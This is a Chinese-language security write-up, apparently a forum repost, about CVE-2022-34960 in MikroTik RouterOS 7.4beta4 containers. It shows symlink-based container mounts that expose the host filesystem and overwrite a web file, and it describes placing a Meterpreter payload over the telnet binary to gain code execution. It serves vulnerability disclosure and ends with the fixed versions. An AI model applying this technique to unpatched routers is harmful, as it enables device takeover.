道德黑客和网络安全专业人士,对硬件黑客、物联网和 Linux/GNU 特别感兴趣。
RouterOS 版本 7.4beta4 为 MikroTik 设备引入了容器。该特性支持ARM、ARM64 和 x86 架构。但是这个版本的容器中存在一个安全漏洞(CVE-2022-34960),该漏洞可能允许攻击者在主机设备上执行恶意代码。据报道,该漏洞影响了超过90万个设备。
MikroTik 文档表明可以在主机和容器之间创建挂载点。例如,etc
文件夹下的disk1
被挂载到/etc/pihole
容器中:
这个特性造成了三个相当危险的特定行为。
例如,让我们采用以下目录结构:
即使dir2
是链接指向dir1
的一个符号,但在disk1/dir2/file1
上添加挂载点仍然是有效的,这意味着在文件挂载之前可以通过dir2
解析到dir1
。
假设我的容器的根文件系统存储在disk1/alpine
中, 我们在容器内执行以下操作:
那么在容器内,根目录将按/rootfs
解析。如果在 RouterOS 中设置容器时将此目录用作挂载源,符号链接则将根据设备自己的文件系统进行解析。
例如,我将在容器/mnt
目录中挂载主机文件系统:
然后,从创建的容器内部就可以访问主机的根文件系统:
虽然可以读取文件权限,但大多数文件系统都是只读的,无法写入。
实际上,通过在参数中为rootfs
使用符号链接,dst
可以将任意目录或文件从任何位置(甚至从容器内部)挂载到主机文件系统上的任何位置。
例如,我们创建一个挂载点,将容器内部的文件挂载到 webfig 目录,有效地“覆盖”现有的robots.txt
:
然后,在第三台机器上,我们使用以下命令验证它是否被覆盖curl
:
Mount-what-where 是一个非常强大的原语。运行任意代码应该相对容易 - 只需挂载系统上预先存在的某些时候由设备执行的可执行文件。
但是,从/proc/mounts
来看,由于挂载点的创建方式,这种方法不起作用:
挂载点是使用nosuid
、nodev
和最重要的noexec
选项创建的。这意味着即使您要挂载现有的二进制文件,它也不会被执行,而是每次都会失败并显示“Permission denied”。so共享库同样如此,因此挂载在.so
文件上也是不可能的。
同时也没有发现任何允许运行代码的配置文件,这就是符号链接再次发挥作用的地方。
通过测试,如果一个文件系统上存在noexec
属性的链接指向文件系统上有执行权限的二进制文件,那么该文件仍将被执行:
假设恶意程序可以从某个没有noexec
标志的挂载点访问,我们就可以简单地将符号链接挂载到指向我们要运行的恶意二进制文件上。通过查看/proc/mounts
,我们可以看到容器自己的根文件系统实际上没有noexec
标志(否则将无法在容器内运行可执行文件):
这就是发起成功攻击所需的mount
操作。我们可以用msfvenom
生成一个攻击payload:
将它复制到容器中,并创建一个指向其可执行挂载点位置的符号链接:
由于telnet
的优先级相对较低且易于触发和调试,我们将其作为目标二进制文件,再在 RouterOS 中创建挂载点:
启动容器后,二进制文件/nova/bin/telnet被挂载,而且已经是一个指向我们恶意二进制文件的符号链接:
正如预期的那样,在/system/telnet 127.0.0.1
设备上运行后,我们在 Meterpreter 监听器中建立了连接:
这意味着我们可以在设备上成功执行任意代码。
该问题已在 RouterOS 版本 7.4beta5、7.4、7.5beta1 及更高版本中得到修复。
/
container
/
mounts
/
add name
=
etc_pihole src
=
disk1
/
etc dst
=
/
etc
/
pihole
/
container
/
mounts
/
add name
=
etc_pihole src
=
disk1
/
etc dst
=
/
etc
/
pihole
disk1
/
├── dir1
│ ├── file1
│ └── file2
└── dir2
/
-
-
(symbolic link)
-
-
> dir1
/
disk1
/
├── dir1
│ ├── file1
│ └── file2
└── dir2
/
-
-
(symbolic link)
-
-
> dir1
/
/
container
/
mounts
/
add name
=
rootfs src
=
/
disk1
/
alpine
/
rootfs dst
=
/
mnt
/
container
/
mounts
/
add name
=
rootfs src
=
/
disk1
/
alpine
/
rootfs dst
=
/
mnt
total
0
drwxr
-
xr
-
x
2
nobody nobody
149
Jun
15
11
:
38
bin
drwxr
-
xr
-
x
9
nobody nobody
131
Jun
15
11
:
38
bndl
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
boot
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
dev
lrwxrwxrwx
1
nobody nobody
11
Jun
15
11
:
38
dude
-
>
/
flash
/
dude
drwxr
-
xr
-
x
2
nobody nobody
352
Jun
15
11
:
38
etc
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
flash
drwxr
-
xr
-
x
3
nobody nobody
26
Jun
15
11
:
38
home
drwxr
-
xr
-
x
3
nobody nobody
403
Jun
15
11
:
38
lib
drwxr
-
xr
-
x
5
nobody nobody
73
Jun
15
11
:
38
nova
lrwxrwxrwx
1
nobody nobody
9
Jun
15
11
:
38
pckg
-
>
/
ram
/
pckg
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
proc
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
ram
lrwxrwxrwx
1
nobody nobody
9
Jun
15
11
:
38
rw
-
>
/
flash
/
rw
drwxr
-
xr
-
x
2
nobody nobody
45
Jun
15
11
:
38
sbin
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
sys
lrwxrwxrwx
1
nobody nobody
7
Jun
15
11
:
38
tmp
-
>
/
rw
/
tmp
drwxr
-
xr
-
x
5
nobody nobody
111
Jun
15
11
:
38
var
total
0
drwxr
-
xr
-
x
2
nobody nobody
149
Jun
15
11
:
38
bin
drwxr
-
xr
-
x
9
nobody nobody
131
Jun
15
11
:
38
bndl
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
boot
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
dev
lrwxrwxrwx
1
nobody nobody
11
Jun
15
11
:
38
dude
-
>
/
flash
/
dude
drwxr
-
xr
-
x
2
nobody nobody
352
Jun
15
11
:
38
etc
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
flash
drwxr
-
xr
-
x
3
nobody nobody
26
Jun
15
11
:
38
home
drwxr
-
xr
-
x
3
nobody nobody
403
Jun
15
11
:
38
lib
drwxr
-
xr
-
x
5
nobody nobody
73
Jun
15
11
:
38
nova
lrwxrwxrwx
1
nobody nobody
9
Jun
15
11
:
38
pckg
-
>
/
ram
/
pckg
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
proc
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
ram
lrwxrwxrwx
1
nobody nobody
9
Jun
15
11
:
38
rw
-
>
/
flash
/
rw
drwxr
-
xr
-
x
2
nobody nobody
45
Jun
15
11
:
38
sbin
drwxr
-
xr
-
x
2
nobody nobody
3
Jun
15
11
:
38
sys
lrwxrwxrwx
1
nobody nobody
7
Jun
15
11
:
38
tmp
-
>
/
rw
/
tmp
drwxr
-
xr
-
x
5
nobody nobody
111
Jun
15
11
:
38
var
/
container
/
mounts
/
add name
=
robots src
=
/
disk1
/
alpine
/
robots.txt
dst
=
/
rootfs
/
home
/
web
/
robots.txt
/
container
/
mounts
/
add name
=
robots src
=
/
disk1
/
alpine
/
robots.txt
dst
=
/
rootfs
/
home
/
web
/
robots.txt
$ curl router.lan
/
robots.txt
Hello
from
inside the container!
$ curl router.lan
/
robots.txt
Hello
from
inside the container!
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-10-30 14:22
被三六零SRC编辑
,原因: